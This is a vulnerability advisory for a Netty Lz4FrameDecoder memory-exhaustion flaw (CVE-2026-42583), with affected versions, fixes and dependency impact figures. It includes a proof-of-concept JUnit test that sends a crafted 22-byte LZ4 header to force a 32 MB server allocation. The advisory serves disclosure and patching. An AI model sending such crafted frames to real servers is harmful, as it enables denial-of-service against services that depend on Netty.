CVE-2026-42583
Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Description
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| io.netty » netty-codec | < 4.1.133.Final | 4.1.133.Final |
| io.netty » netty-codec-compression | < 4.2.13.Final | 4.2.13.Final |
Blast radius
69% of the dependent artifacts (39,311) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 48,120 |
| 2 hops | 219,153 |
| 3 hops | 708,687 |
| 4 hops | 694,089 |
| 5 hops | 392,530 |
| 6 hops | 257,544 |
Most used dependents
- org.testcontainers » testcontainers4,109 usages
- io.netty » netty-all3,584 usages
- org.apache.hadoop » hadoop-common3,482 usages
- org.apache.spark » spark-sql3,174 usages
- org.springframework.boot » spring-boot-starter-data-redis3,154 usages
- org.apache.kafka » kafka-clients3,135 usages
- redis.clients » jedis2,971 usages
- org.apache.spark » spark-core2,899 usages
- org.springframework.boot » spring-boot-starter-webflux2,764 usages
- io.netty » netty-handler2,213 usages
- com.android.tools.build » gradle2,197 usages
- io.vertx » vertx-core2,116 usages
- org.seleniumhq.selenium » selenium-java2,089 usages
- org.apache.zookeeper » zookeeper2,044 usages
- com.typesafe.play » play-test1,902 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
